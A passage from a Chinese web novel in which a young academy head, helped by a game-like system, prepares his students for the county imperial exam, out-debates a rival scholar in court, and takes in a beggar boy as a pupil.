不过这些都属于好招聘的,到了童启这边真正想要寻找的良师大儒,却没那么好说话。 清虚子倒是有不少可推荐的,但先不说人家的身份背景凭什么要来你们这穷乡僻壤之所,只对方开出的天价教书费用,童启便不可能请得到。 他发愁的想了想,退而求其次道,“那有没有不那么出名的?只要有真材实料,身份什么的可以不那么高级,我们这里唯才是举,不搞那什么阶级攀比,哪怕是不太好的出身呢,也行!” 清虚子意外的瞅了他一眼,沉思了一秒道,“若是祖上犯过罪的呢?” 嗯? 还真有啊? “那要看是什么罪,”童启一脸好奇,“如果是杀人放火,那自然不行,若只是普普通通的言语冲突、防卫过当之类的,那可以。” 清虚子自然不懂什么叫做防卫过当,可想到他那友人如今的状态,又觉得是真正的可惜,不免多言了几句。 “他那倒不是什么杀人放火,只是他的父亲曾在夺嫡时站错了队,当今圣上登基后,将其贬谪到南方当县令,却不料半路恰巧碰上乱党造反,被掳去做了军 师,圣上大怒,责其三代不可参加科举,所以我那友人虽有一身才华,却无法施展,没有哪家书院敢轻易收他。” 这世上还有这么倒霉的人吗? 童启:…… “可以写封信让对方来试试,若是合适,我们华夏书院倒也不会排斥。” 毕竟他父亲做的错事,而且已经得到惩罚了,即便是考公务员,不也得背调一下,考虑考虑实情不是? 清虚子闻言一喜,立马给友人写了一封信,强烈邀请对方来此任职。 信中大夸特夸这里条件有多好,多么尊师重道,气氛和乐之类的,简直快将书院夸到了天上去。 而同样的问题问到温叶辞那边,对方却犹豫了一下。 “你觉得,我如何?” 他回复道。 童启有些震惊,“什么意思,你要来我们书院当老师?” 若能请到院试第七来当老师那自然是好的啊,凭借着温叶辞的能力,教几个县试都没过的小子还不是轻轻松松? 可对方不是说要一心学习吗? 原本还劝他不要教书,专心考试呢,这怎么突然也要来教书了,能适应吗? 不往上继续考了? 温叶辞似乎也察觉到了自己多少有点打脸的意外,他面露羞涩,无奈叹道,“不是我不考,实在是我不太想继续在王举人那边读书了,拙政园这段时间乱得很,大家都无心复习,只想着喝酒打牌,离开了那里,整个伊川县,能静下心来学习的地方极少,之前我去过你们书院,觉得环境和氛围都挺不错的,再加上你之前送我的那川贝枇杷膏,确实有用,治好了我的咳疾,我心生感激,若你不嫌弃……” “当然不嫌弃!我怎么可能嫌弃!” 童启激动的打断道,兴奋的不行。 上次讲课他让对方带了几节课,便觉得温叶辞十分适合当老师。 本身就是温柔细致的性格,再加上博览群书,对于科举整个体系了解的更是比他和清虚子都要清楚许多,若能成功挖来,自然是锦上添花,如虎添翼!可因着对方属于王举人旗下,他便没有开口,没想到嘿! 对方竟然亲自跳槽过来了?这可真是惊喜十足。 想到王举人哪一日发现自己最优秀的徒弟跑了的样子,童启忍不住乐出了声。 系统也相当满意,刚确定了对方的入驻,便立马发放了1000点的声望值,而华夏书院,也正式拥有了三名在编老师。 有着三人轮换上课,童启顿时轻松很多。 温叶辞在华夏书院适应的很迅速,等到年底,已经妥妥成为了内卷的人员之一,每日作息规律的不行,跟着童启和学生们锻炼身体、读书习字,就连日常的听故事环节,也从不错过。 而章县令挨挨蹭蹭,也终于放出了明年县试的具体时间。 ——2月26日。 也就是说基本上一过完年,便要立刻开考。 因着这紧迫的时间,不少人焦虑的连今年的年都过不好了,童启也直接给所有人上了难度,正式开启了冲刺月。 学院里特意开辟了一个地方搭建了临时考院,一比一还原县试的环境和时间安排。 三天一考,然后讲卷子、复习、纠错查漏,然后再继续。 如此反复循环。 这一套操作下来,直接将五个学生考的一脸难色,甚至养成了下意识接过试卷便直接审题、阅题,然后填写内容,检查纠错的流程。 温叶辞和清虚子抱臂站在一旁,皆觉得童启赋予的【冲刺月】这三个字十分形象有趣。 就如同奔跑上战场一般,具有了杀身成仁一般的使命。 他们看着学生们一遍遍考试,从不适应到彻底适应的过程,若有所思,也对童启小小年纪,便想得如此周全贴心感到诧异。 这个年,不少人过的心不在焉,童启也并没有下山,只是给学生们放了三日假,匆匆带着家人们在书院里包了顿饺子,便再次投入到了复习真题,给学生们出卷子的日子。 就这么上下一心,拼了大半个月。 临近县试,华夏书院也正式关上门,开启了动员大会。 童启站在空地上的椅子上,头一次拿出了整套的广播设备,感慨万分的跟学生们讲述道。 “我知道你们这一年十分辛苦,千军万马过独木桥,科举这条路,不好走。但既然咱们走了,便势必要走出个结果才是!这一个月是你们最辛苦的一个月,也是华夏书院上上下下皆为了你们的未来同心协力,并肩作战的一个月!如今就要上真正的战场了,它不仅决定着你们的未来,更承载着你们这一年所付出的心血与汗水,我不想说什么前程似锦的吉利话去安慰你们,只愿你们保持良好的心态,平和、乐观的去应对这场考试,坚定自己的信念,相信自己的能力,而我们华夏书院,将会是你们最坚强的后盾与永远的支撑!” …… “愿诸君一路顺遂,创造属于自己的辉煌!” 熟悉的动员词,童启说的驾轻就熟,可这些学生们却是第一次听到。 他们眼含热泪的看着最前方那个矮小的身影,个个握紧了拳头,势必要一雪前耻,为校争光。 童启这一次,完全拿出了现代家长应对孩子高考的准备,去照顾大家。 先是给每个人准备好了泡面、火腿肠大礼包,然后便是反复给大家检查笔墨纸砚有没有缺漏的。 亲供、互结有没有填好,衣服、鞋袜、保暖的物品有没有拿齐,简直比他自己亲自参加院试的时候还要慎重。 五名学生们看在眼里,暖在心中。 可即便如此慎重,送学生入场的时候,依旧出了个小问题。 他们原本约好的廪生不知何原因,竟然没来?好在温叶辞也在现场,直接用他的身份顶上,这才成功将几个学生送进了考场。 “那廪生怎么会没来?不是府衙书簿亲自介绍的人吗?”童启疑惑道。 童继本一脸无奈,“我也不知,早上去他家里找他的时候,发现对方竟连夜搬走了,询问邻居说是昨天半夜好像有人拜访,我估摸着是有人刻意为难。” 还能是谁? 不用想童启都能猜到。 刚说着王举人似乎乖巧了,销声匿迹几个月没出来,没想到,竟然又来这一套? 真是无语至极。 他摇了摇头,暂且将此事放在脑后。 只说吴韧他们进入考场,已经不是第一次,前几次的屡次败北,多少还是有点阴影的。 一开始,吴韧还有点紧张,但很快的,由于过于熟悉这种类似的环境,他很快便冷静了下来,开始检查自己的试卷笔墨,待衙役们发下试题后,他扫了一眼,更是惊讶不已。 这一题两题…… 嗯?怎么都是他们山长给出过的模拟考试类型? 别说他了,就连经常在华夏书院吊车尾的杨舟万都感到非常震惊。 他印象中的县试可是非常难的,怎么这一次却觉得无比简单? 起码,比山长出的题可简单多了! 几个人立刻研墨思索着,提笔作答起来,一连几场皆顺遂不已。 第28章 第28章全员上榜 三日后,县试结束,考院大门缓缓打开。 童启带着华夏书院的老师们静候在门口,见到学生们出来,立马迎了上去。 旁边几个同场的考生一脸萎靡,刚走几步,便整个晕倒在地,若不是童启帮忙扶了一把,只怕都要被地上的石头给撞破了脑袋! 也有那嘴里吐槽不断的。 “妈的,这一次的考试也太难了吧?到底谁出的卷子,是没打算让我们任何人上榜么?” “卷子就算了,我就好奇,到底谁在考院里煮东西?那味道,我真的……搞得都无心答题了。” “还能是谁?不就是华夏书院那一批?听说县令大人上次劳役奖励的面条,就是出自他们那里,其他地方根本买不着!” “这也太卑鄙了吧!” …… 咳咳,几 个华夏书院的学生尴尬对视了一眼,忙悄悄抬袖遮挡住了视线。 他们能有什么办法? 完全就是跟着山长学的啊,泡面这东西,本来就是典型的闻着比吃着还香,能怎么办? 难不成怪他们吃得太好? 童启也跟着心虚了一瞬,很快调整过来。 “先不说考试的事情,都回去洗个澡好好睡一觉,休息一下,有什么话明天再讲。” 接连考了几日,每个人的精神与身体都正处于紧绷的时候,反正都已经考完了,急也没用,还不如调整后状态,再说其他。 学生们感恩山长的贴心,回到书院后,往宿舍一倒,便彻底睡了过去。直到第二日醒来,才将自己的试卷默写了出来,递给师长们品评。 温叶辞和童启拿起来简单看了一遍,觉得还算不错。 “嗯,整体答的还行,虽然诗词这部分有点弱,但也尚在及格线以内,应该能中。” 有着温叶辞的这句话,众人瞬间松了口气。 童启则有些挠头,这徒弟像师父,也是没办法的事情。 虽然浸淫中国文化上下几千年,但诗词这一块的的确确是现代人的通病,妥妥的短板,倒也不是他不能去教别人,普通的鉴赏什么的他还是十分厉害的,可若要让他自己去做诗的话,那还是完全没有本年代的那些人信手拈来的灵气。 技能点没点在这里,他能怎么办? 看来只能尽量去邀请一个好的诗词老师来才行了。 拙政园内。 得知华夏书院几个学生们皆已顺利考完,出了考场,王举人怒不可遏。 “怎么回事?不是说已经买通了他们具保的廪生?他们临时到哪里找的人?” 按理来说童启是他们几个人的师父,需要避嫌,没有具保的资格才对,而清虚子更是一个道人,他们找遍整个县城,都不可能找到新的廪生认保才是! 是谁?竟然敢背叛他? 旁边的学生怯弱的回答道,“听说当时是温师弟在那里,替他们认保的。” “……你说谁?” 王举人险些以为自己听错了,虽然这段时间他忙于家中官司,压根没有时间和徒弟们沟通教学,好久没见到温叶辞了,但他对手底下的这些徒弟们还是充满信任的,本以为对方又是家去了,这怎么突然的,就去替华夏书院搞什么认保? 疯了不成? “去叫温叶辞过来!这小子怎么回事,难道不知道我们和华夏书院的恩怨么,竟敢替他们撑腰?” 即便温家乃是皇商之家,王举人这次也不准备忍了,定要动手板才是! 也不想想,他这都是为了谁啊!这不孝徒,竟然敢拆台违逆他? 谁给的勇气! 然而等了半晌,那学生却只是站着,欲言又止,并没有离开。 王举人一脸疑惑,“你等什么呢?还不快去叫人?” “那个……师父,温叶辞已经从咱们拙政园搬出去了,也就是两个多月前的事情,说是感觉不适合在咱们这里读书,所以去华夏书院当教书先生了。” 王举人:……??? 这段时间里,王举人动不动就生气,几个徒弟里谁敢触霉头,上来禀报这件事? 因此误打误撞,竟被瞒了下来。 如今猛地被当事人知晓,对方一口气没有提上来,立刻便往后一倒,捂着脖子晕了过去。 吓得所有学生们掐人中的掐人中,灌汤药的灌汤药,顿时六神无主起来。 等王举人醒后,他已经神智全无,只强忍着最后一口气,要告到府衙里去。 这个时代,尊师重道,人伦规矩,还是十分讲究的。 温叶辞这举动,虽正常,却严重不符合文人群体的俗世价值观,更何况对方还将自己的师父气吐了血?那就更严重了!强压下来,完全能毁掉温叶辞的整个前程! 原本听到师父晕倒,温叶辞还在犹豫要不要前往探望,可还不等他想明白,县里的衙役已经上山传唤,说是王举人将童启告到了县衙里去,名义便是——诱拐学生。 童启:??? 我? 诱拐温叶辞? 你要不要看看我们的年龄差距再说话? 系统一见这架势,顿时兴奋的上线了,“快快快,我就喜欢看这种打脸逆袭,舌战群儒的场面!打起来,快打起来呀!” 看热闹不嫌事大的它甚至还专门发布了一个支线任务,来表示自己的支持。 【叮,支线任务:舌战群儒,打赢自己人生中的第一场官司! 成功:奖励温室大棚培育技术全套指南 失败:无惩罚】 我谢谢你哈,没有强制性要求。 不过这温室大棚培育技术还真是他恰好需要的,连拒绝都不成! 童启无奈的摇摇头,只得跟着衙役一起前往。 好在他前不久考了个院试,如今见到县令总算是不必下跪了,但王举人多少也有着举人功名,不仅不用跪,到了堂下,竟还有个单独的椅子可以坐,完全彰显了自己身份的独特性。 听闻举人告秀才,且告的还是华夏书院的山长! 不少百姓顿时一窝蜂的围了过来,直接将县衙门口挤得个水泄不通。 就连街道上的小乞丐都听闻了消息,借着矮小的身子,愣是一阵穿梭,好不容易凑到了前排。 然而一看那堂下站着的人,却顿时愣在了原地。 王举人坐在椅子内,隐忍着气怒瞪着童启,一桩桩一件件活像是个被人抛弃的小媳妇一般,陈述着对方的无礼犯上、恶意竞争、诱拐徒弟等作为。 童启只是乖巧的站在一旁,安静的听着。 矮小的身子,孤零零站在堂下,越发显得可怜无辜。 大众看看左边,再看看右边,心里的天平不知不觉便倒向了童启这里。 其实自穿越以来,童启便一直在努力喝牛奶,想要尽快生长为前世一米八几的高个子,可奈何也不知道是不是基因的问题,都一整年了,身高却愣是一点也没涨,反而越发白净了许多。 活像个从年画里跳出来的童子一般,尤其他还喜欢仰头看着别人,偶尔就会给人一种卖萌的感觉。 就比如现在,他一个人弱弱的站在台下,看着王举人高高在上坐在椅子上的模样,明明是被告,可大部分人却会认为是他受到了天大的委屈。 而王举人则是在欺负小孩子! 注意到了周边那种略带谴责的目光,王举人更是急得吐血,一时间连礼仪措辞都不顾了,站起身便大声说出了自己的诉求。 “大人,我要求正式解除童启创办书院的资格!如此不忠不孝无礼无德之人,凭什么能够在咱们伊川县的庇护之下,假借师者名义坑蒙拐骗,捕风弄雨?更何况,他甚至还将手伸到了我府中!以教书之名骗得我徒弟去做事,大人啊,那可是刚刚考上府试第七名的秀才苗子,假以时日,不愁朝堂里没有一席之地,这不是在毁人前程又是什么?” “还请大人秉公持法,不然的话我定要上告到知府皇帝那里,寻求一个公道!” 章县令坐在堂上,听着王举人一阵输出,一脸的为难。 不是他不想帮童启,实在是王举人这话还真没啥毛病。 你说好好的府试第七,你非得搞得人家去教什么书啊?如今整个大奉朝谁不以科举当官为重?难怪王举人会这么跳脚,若是自己好不容易培养出一个好苗子,转头就拜了其他人为师,直接去做别的事了,不疯才怪! 这不是直接摘果子吗? 温叶辞背信弃义,但出身于皇商温家,王举人肯定是有所忌惮的,可童启不过一个寒门秀才,有何支撑? 此事即便是递到朝堂,大多数相公们应该也不会赞同童启的行为。 且举人的确是有资格向县令及更上级的官员或皇帝亲自上书,请求审查的,若是闹大,只会令章县令更加难堪下不来台,严重的话,还会影响仕途名声。 他看向一旁的童启,问道。 “童山长,你还有何话可说?” 童启尚未张口,衙门外匆匆赶来的温叶辞和学生们已经连忙打断了这里的争论。 “这并非事实,我并没有转拜华夏书院!”温叶辞气喘吁吁的站上堂来,解释道,“教书的事情我可以解释,但背信弃义实属污蔑,我只是不再适应师长的教诲方式,想要自己一个人继续学习罢了,并没有令投他人门下的意思!” 他若是那种人,又何必将自家的河道借给王举人用呢? 更何况,他和童启本就是同期,从未听说过拜同期为老师的,这不是纯纯搞笑呢吗? “是我自己想要尝试教书一事,与童山长无关,他也并无任何教唆,我教书并不意味着我就不继续参加科考了,相反,我正是察觉到当我在给别人重新讲述一遍的时候,有助于自己理清一些思路,获得新的感悟,这才做的。还望大人明察,勿错怪好人!” “你!” 王举人看见自己的好徒弟如此向着童启,更是火冒三丈起来。 “即便是如此,好,那你又如何解释童启毫无资格便创办书院的事情?大人,他不过一个小小的秀才,还是刚考上去的!成为华夏书院山长的时候,甚至还只是一个童生罢了,哪里有本事去教育学生们啊?再让他如此巧言令色下去,只会诓骗更多的孩子走歪了道,却不自知……” 一直被系统嘀嘀嘀的催着发言,童启听到这里,终于忍不住了。 “不好意思,我请问王举人,您觉得何者为师?” 王举人微眯了眯眼睛,不屑道,“自然是传道授业解惑,达者为师。” “正是,那么,你又从哪里知晓我不如你的学问深厚呢?” 堂下猛的一静,众人近乎屏息的看着正中央那背着手的小小个子,有些难以置信对方语气中的狂妄之意。 别说其他百姓了,就连章县令都愣住了。 王举人简直气笑了,他指着自己问道,“就凭你,跟我比?” “如果能的话,我愿一试。” 哦吼,秀才和举人比拼才学?这可是举世罕见的大场面! 消息一放出去,不知多少人被惊得起身,齐聚衙门,就连赌坊里也开始重新开盘,压最后谁能获胜。 王二是伊川县的老赌徒了,一贯的幸运不知在童启身上栽了多少次,如今见到大半的人都押王举人胜,心思也不由再次活络了起来。 “我出三钱银子,押童启胜!” “哦?王二你这次改投童启了?不怕赔的裤子都不剩吗?”庄家一脸的笑意,跟着旁边的人取笑道。 王二也不管,任由他们打趣,“嗯,拼一把,妈的,总不能一直输吧?” 伊川县百姓们连饭都不吃了,端着碗就朝着县衙的方向靠拢。 与此同时,一辆华贵的马车缓缓驶入伊川县,见到这阵势,也忍不住好奇起来。 “公子,他们好像是去县衙,有人在打官司!” 什么官司啊,竟然惹得这么多人围观? 难不成有什么冤情? 马车上的书童探头探脑的打听着,一只白皙的手缓缓掀开车帘,露出双上挑的狐狸眼睛来,俊俏风流,引得不少妇人顿时羞红了脸,提裙而走。 “去看看。” “可家主说……让咱们直接去拜师?这样半路离开,不太好吧……” 那公子不理会自家书童的犹豫,手持书扇,径直跳下马车,穿过人群,靠近了县衙。 谢君仪才不愿意那么快的就去拜什么师呢。 是美酒不好喝还是美人不好看? 清虚子一贯神神叨叨偏爱嫡系,好端端的,突然让家主派什么孩子跑这么远来伊川上个书院,谁知道安的什么心?若不是姨娘一直哭哭哭,主母又反复刁难,威逼利诱,他才懒得来此点卯! 虽还没想到怎么摆脱这麻烦,但开学之前,他肯定是要想办法离开这泥沼的! 春光正好,世界如此之大,若不潇洒往红尘里走一遭,岂不浪费? 而且半路他也曾打听过那华夏书院的风评。 别说,清一色的恶评。 什么山长县试造假啊,倾吞灾民款项啊,师父是道家出身,大师兄是什么石猴啊的!简直听者懵逼,闻者落泪! 这就是清虚子给他们家强烈建议要求来的书院? 若不是谢羽还在对方身边,他都要怀疑那人是不是被钱给收买了! 总之,能晚一日便晚一日,不去更好。 施施然走到县衙门口,堂下站着的两个苦主却十分罕见,乃是一个小孩子和一个年过半百的举人。 那举人一脸怒色道。 “好,你说怎么比?我奉陪到底!但咱们先说好,若是我赢了,你不仅要给我磕头认错,还得关闭华夏书院,解散所有学生!” 在场的吴韧等人瞬间脸色一白,捏紧了拳头,紧张的看向山长本人。 而童启却一脸淡定,朗声道。 “好,但如果我赢了,你不仅不能再追究温叶辞离开的事情,还要给我们华夏书院的每个人致歉,并且永远不得再以任何手段,寻找我们的麻烦。” “行!” 两个人无声的对峙着,章县令看看左边,再看看右边,焦虑的不行,但奈何双方铁了心要比,没办法,他只得请人将柏老找过来作为判定人。 当场出题,当场解答。 内容范围就从四书、史记、律法、游记等各类书籍里寻找。 不限定方向。 童启和王举人皆表示同意。 于是,答题正式开始。 实际上,童启也没什么底气认为自己一定能赢,但这不是他背靠系统嘛,手里还有积攒下来的六千多点的声望值,一直没抽,在赌注开始之前,他特意将其全部兑换成了中阶抽奖券,狂抽建筑解锁,结果成功抽出了藏书阁!! 以往他可能还怕藏书阁过于锋芒毕露,但如今他有了全套的安保系统。 他怕谁? 最爽的是,这藏书阁里的书不仅囊括了大奉朝以来所有的著作,而且还只要搜索便可以直接从系统里寻找到。 这不是妥妥的作弊神器嘛!! 最适合这种才学比拼的时候碾压对方的认知啦! 柏老站在两人中间,率先从最简单的开始询问,从“君子喻于义,小人喻于利”何解,到逐渐的询问“舜无为禹勤事功业孰优论”,进而上升至“河道梳理之策”、“天文历法之源”,漫无天际,翻到哪本书就询问哪本书。 一开始王举人那边还相当自信熟练,可渐渐的便有点难以招架起来,尤其是不少书籍他明明看过可却因为很少再翻看第二遍,只记得一些些微的言论,整个句子却难以回忆起来。 便稍显弱势。 可童启这般却至始至终稳的不行,几乎那边话音刚落,他低头想了一会儿(实际上搜索资料),便迅速的解答了出来,有的字句,甚至与原文都分毫不差! 几名学生双眼发亮的看着自己的老师,心中的崇拜难以言喻。 童启行事低调,很少在其他人面前故意展示自己的学识渊博,很多时候,像汪启元他们,都只能从对方讲述的故事里勉强窥见一点对方知识体系的庞杂与多面,即便如此,也只觉浩瀚如烟海一般。 这还是他们头一次见到山长如此展示,那一个个问题背后的笃定与悠闲,简直令人心神向往! 所焕发的文人风采,更是让所有人都移不开眼睛! 哪怕柏老和章县令这些老学究,都忍不住暗暗称奇,为一个十一岁的孩童竟然能有如此丰富的储备量而感到震惊。 小乞丐站在人群前端,仰着头看着那近乎闪闪发光的人,满身澎湃难以自抑。 他这才知道,原来自己一直在心中视为天才、无可比拟的华夏书院山长,竟然就是上次在路旁,亲切教导他千字文的人! 那样平易近人,温柔可亲,自己当时竟然没有认出来! 他呆呆的望着,近乎看痴了,这便是自己一直当作人生梦想一般的人物啊! 不愧是华夏书院的山长! 不愧是他坚信一定会写 入史书中的大文豪! 果然厉害! 连出了五十题,胜负已经相当分明。 王举人浑身汗湿,早已被敲掉了所有的骄傲,浑身瘫软在椅子上。 而童启则仍旧冷静的站在一旁,只是端起茶水润了润口,仿佛参加了一场文会一般,没有半点波澜。 柏老长叹了口气。“不必再比了,此局,童山长胜。” 木已成舟,一切已成定局,王举人有心反驳,却没有了任何话语。 远处一声声锣鼓齐鸣,县试的成绩也终于在此刻被放了出来。 报喜人几乎没有绕道,直接快步转身回了县衙,大声朗读道。 “恭贺华夏书院吴韧公子高中伊川县县试第一名!将赴府试,京报连登黄甲!” “恭贺华夏书院汪启元公子高中伊川县县试第二名!将赴府试,京报连登黄甲!” “恭贺华夏书院常仕进公子高中伊川县县试第三名!将赴府试,京报连登黄甲!” “恭贺华夏书院刘卜温公子高中伊川县县试第五名!将赴府试,京报连登黄甲!” “恭贺华夏书院杨舟万公子高中伊川县县试第七名!将赴府试,京报连登黄甲!” …… 一连串的捷报,将在场所有百姓震得头昏脑胀,目眩头晕! 就连王举人和柏老等人也难以相信。 全员上榜!全员上榜? 一共就五名学生,不过短短一年的时间,便将他们从落榜童生愣生生扭转至县案首! 这是何等的力量? 这是何等的可怕! 华夏书院。童启。 至此,这个名字算是彻底轰动了整个文人圈层! 第29章 第29章乞丐学生 然而县衙内的争斗,却仍未结束。 即便是听到华夏书院全员上榜,王举人仍旧不愿相信,坚定认为是童启耍了阴招,或者是买通了所有人,故意想踩着他的脑袋,扬名立万。 不然为什么他才刚输了比拼,县试的成绩就出来了? 假的,这绝对是刻意针对他挖的陷阱! 目的就是想看他身败名裂,低头就范! 凭什么?凭什么自己废了如此多功夫爬上来的位置,一个毛头小子不费吹灰之力,便直接抢去了? 王举人死死攥紧了拳,指节因用力而泛白,望着周围一众人庆贺骄傲的目光,他目眦尽裂,双眼通红的近乎要滴血,大声嚷嚷道。 “不可能,绝对不可能,怎么可能这么巧?我不信!作弊,这一定是作弊,他们是串通一起的,共同演了一场戏给我们看,我没输!我没输!!” 章县令坐在堂上,惊堂木狠狠一拍,怒斥道。 “放肆!你这么说难道是怀疑本大人徇私舞弊不成?还是怀疑这伊川县上上下下皆是有眼无珠?不要去胡乱攀扯其他人,本县所有试卷在未拆封之前,皆是糊名,没人会知道是谁!你若不服,尽可以去查看卷宗,辨别真伪!” 事实上,当初刚拆封完毕时,章县令也着实震惊了很久。 他期待过华夏书院的学生们教出来的成绩,但却没想过竟会如此出众,怕其他人议论,他甚至偷摸将常仕进和杨舟万的名次稍稍后移调整了一下,致使不那么过于张扬。 可再移动,也移不了多远。 毕竟差距真的很大,很多题目他若违心给几个孩子判错,回头试卷张贴出来,定要有人骂他老眼昏花,不懂识人之才的程度,因此只能就这么放了出来。 原本今日正是放榜之时,当地书院五位学生应考,五位学生皆上榜! 这乃是大大的政绩。 他理应准备好礼物亲自去华夏书院探视一番,以表亲民之意,可谁知还没出门,便被王举人堵在了这里,非要来个什么才艺比拼。 这下好了,没挣到脸不说,反倒把举人的身份都给丢光了,他能怎么办?他也很无奈啊! 童启没有在意王举人此刻的异常状态,他转过身,欣慰的拍了拍学生们的肩膀,一脸骄傲。 辛苦了一年,这总算是见到成绩了啊! 不负他一节一节课的查资料、准备教案,反复和系统拉扯争取来的福利。 【叮,第一届学生全员完成县试任务,奖励高阶抽奖券一张,中阶抽奖券四张,望宿主继续努力!】 【叮,达成声名鹊起成就,华夏书院正式升级啦,占地面积扩大至2000亩,请宿主继续努力!】 【叮,请带领学生们完成府试、院试任务!成为真正的秀才吧! 成功:奖励5张中阶抽奖券。 失败:物理抹杀】 【叮,主线任务:请在一个月内,收下属于你的第二批优秀学生吧!(50名) 成功:奖励解锁室外足球场 失败:物理抹杀】 …… 一连串的系统提示音与外面的鞭炮锣鼓声混合在一起,颇有种战后结算的意味。 童启谦逊的与众人相继回着礼,可背后的王举人却不满他的注意力转移,直接拿起凳子狠狠的朝着童启砸了过去。 “小心!” 旁边的吴韧一个疾步挡在了山长面前,愣生生替童启扛下了这一凳子,可手背处却被擦伤了三道血痕。 “没事吧!” 童启急忙上前查看,见到自己学生抱着受伤的胳膊,痛苦的皱紧了眉头,眼神瞬间冷了下来,冷漠的转过身,看向王举人。 章县令都快把惊堂木拍出火星子了。 “放肆,这里是公堂!王举人,你以为自己在哪儿,竟敢如此放肆!” 这样的好日子,敢在他眼皮底下公然攻击童启和刚刚上榜的县案首?简直是没将他放在眼里嘛! 可王举人却浑然不觉,活像是疯癫了一般,径直推开遮挡的人群与衙役,不断逼近童启,大声骂道,“我不信,我不信!你肯定是作弊了,我要杀了你,我要杀了你!你没有赢,哈哈哈哈赢得人是我,那些本来就是能考上的人,你只是运气好,坐收渔翁之力罢了!” “有本事,有本事你就将这个小乞丐也给培养成秀才,我才服你!” 他一把拉过站在人群中最前排的小乞丐,紧扣住对方的肩膀,声嘶力竭的吼道。 汪启元和常仕进等人连忙挡在童启身前,大骂道,“你这分明是不讲理!明明是你自己说好的要比拼才艺,如今见到输了又翻脸不认账,凭什么你说收谁为徒就收谁为徒?” “对啊,况且我们山长早就说过,想进入华夏书院是需要考试的,我们又没逼你来。” “不需要你承认我们书院的教学方式,输了就是输了,公道自在人心!” 几个学生一人一句,将王举人呛得满脸狰狞。 童启摇摇头,不欲再跟这人争论,对方已经是彻底钻进去牛角尖了,不论外人怎么说,都认定了自己那一套逻辑。 顺遂久了,便容忍不了任何人反对忤逆,也许,在他心里,这些学生已经不是学生了,而是虚荣下的荣誉加持。 就如同一个完美的乌托邦,当这个外壳受到攻击和怀疑时,他便会迸发出激进的自保方式,强烈否定。 不愿相信。 可童启不愿争论,王举人却不肯放过他,他再次上前。 “你就是个泥腿子!从草堆里爬起来的家伙,乳臭未干的臭小子!你以为骗得了别人,便能骗得了我吗?哈哈哈哈不过是穿了个衣服就假装自己是个大人了,你哪里来的资格跟我指手画脚?老子中举的时候你他娘的还在娘胎里喝奶呢,你会遭报应的!等着吧,迟早会有无数的人将你掀翻下马!敢动他们的利益,你会被五马分尸,不得善终的!” “童启,童启!你应不应?敢不敢应?” “懦夫!装腔作势!渣滓败类!丧失了人伦的家伙,都看看吧,这就是你们以为的华夏书院山长!不过就是个踩在别人脑袋上耀武扬威、虚张声势的家伙罢了,换成别的就不敢应了,你们都被他骗了,都被他骗了!” …… 小乞丐被王举人尖锐的指甲紧紧钳制着肩膀,无法挣脱,吓得欲哭,他已经能够隐隐感觉到自己破旧衣衫下那快要被捏出血的地方。 完了 ,这下明日肯定要淤青了! 如今虽然快要到春日,稍稍暖和了一些,可街道上的风总是寒冷的,他没有钱看病买药酒,若是受伤,只能坐等着伤口慢慢痊愈,轻一点还行,重一点怕是要疼上几个月,耽误讨饭的事。 看来得找个心软的老爷去求点汤药了,他苦兮兮的想着。 童启忍不住看了一眼正中间可怜巴巴,如同人质般的小乞丐,怒视向王举人,“好,我应了,这孩子,我会收下他。” 所有在场的人皆震惊的回眸看向童启。 “但我并不是源于你的威胁,而是想告诉你,这天下,所有想要学习的孩子都有资格去追求自己想要的生活!与身份地位之类的并无关系,哪怕是一个乞丐,只要他一心求学,我便愿意帮助他们,共同开辟属于他们的光辉道路。” “人无贵贱,学习也无资格之说。” “你要容许有人想要改变自己命运的想法,除了他本人,没有人可以否认他的价值。人生来平等自由,出身虽然无可选择,但走哪条路,如何走,自有自己的命运。你不也是如此,才走到了今天的位置吗?” 童启温和的看向那已经呆愣住了的小乞丐,柔声问道,“所以,孩子,你愿意来华夏书院读书吗?” 小乞丐整个人都懵在了原地,他一生遇到过无数人,什么态度的都有。 这还是头一次有人用如此目光询问他的意见,就像是,他原本就有的选择一般。 “我愿意!” 他急切的回答道,就像是井中的人窥见了属于自己的最后一道光,用尽了所有力气! 紧紧抓住了它! 童启欣慰的点点头,道,“好,那你便是我华夏书院的第六位学生了。” 王举人瞠目结舌的看着这一切,颓然的松开手,彻底瘫倒在了土地上,犹如被戳破了最后一个溃烂的脓包一般,失去了所有的希冀与尊严。 人无贵贱? 呵呵,人无贵贱? 可笑,荒唐!人怎么可能没有贵贱!有钱的人生来就是有钱的,有权的生来便是有权,皇帝天生便坐拥天下,乞丐生来便应该苟延残喘匍匐在脚边! 这才是规矩,这才是定理哇! 他依稀记起自己刚刚开始读书的时候,同样是春寒料峭,他跪倒在大儒门前的石阶上,即便手背布满冻疮,隐隐渗出血珠,却依旧抱紧了怀中的书卷,只为得到一份解答!夜里不敢点灯,只能偷摸借着粪车上的灯笼上抄写《春秋》,第二日再赶着紧,送回同期的朋友家中。 四十多载沉浮科场,是从什么时候开始,他的求学之心变了呢? 可能是发现举人身份跃迁时,周围人嘴脸的变化吧…… 可能是发现自己原本十分艰难的东西突然变得唾手可得吧…… 那股贪婪和得意如同猛兽一般将他吞噬,也令他越走越远,险些忘却了原本的模样。 王举人踉跄后退,皮靴碾过满地灰土,大笑着,突然将整个外衫脱下掷在脚边,“错错错,我误了,我误了啊!读书,哈哈哈哈,读书!” 他口中念念不断,竟然就这样直接衣衫不整的奔出了门外,疯疯癫癫,如同犯了癔症一般。 “快去拦下他,送回府中!”章县令惊疑不定的喊道,令衙差们前往阻拦。 周边的百姓们却惊恐的后退两步,看着童启,如同在看什么极其可怕的东西一般。 王举人疯了? 只是几句话而已,竟然就将一个举人说疯了? 这是什么恐怖的存在啊! 不少人暗暗后退了几步,对“华夏书院山长极其擅长骂人”的传说又上升了几个认知。 童启无语的收回手,他只是简单的说出了自己的想法而已,这怎么就挫败了一个人的精神了呢? 他想不通,但也无心再去管这件事了,因为华夏书院的全员上榜,沧澜山再次迎来了第二波的拜访潮流。 而关于乞丐学生以及衙门内才艺比拼的事,也随之传遍了整个伊川,吸引了不少目光。 安庆侯本身是有点生气的,毕竟童启都已经斩钉截铁的说过了,不会开后门招收任何学生,所有人都得经历考试才可入学,可这才多长时间啊,竟然就变卦了?还偏偏招的是个小乞丐! 这是瞧不起他们安庆侯府吗? 可后来听说了整件事情的来龙去脉,又得知王举人愣生生被说疯之后,安庆侯也顿时不敢再有任何怨言,只是乖乖的派人去询问了第二届招生的事宜,便默默的带着自家儿子开始准备。 不敢惹不敢惹。 全程围观的谢君仪站在衙门口,仍旧没有反应过来,他万万没想到,自家人让他来上的书院,竟然会如此厉害! 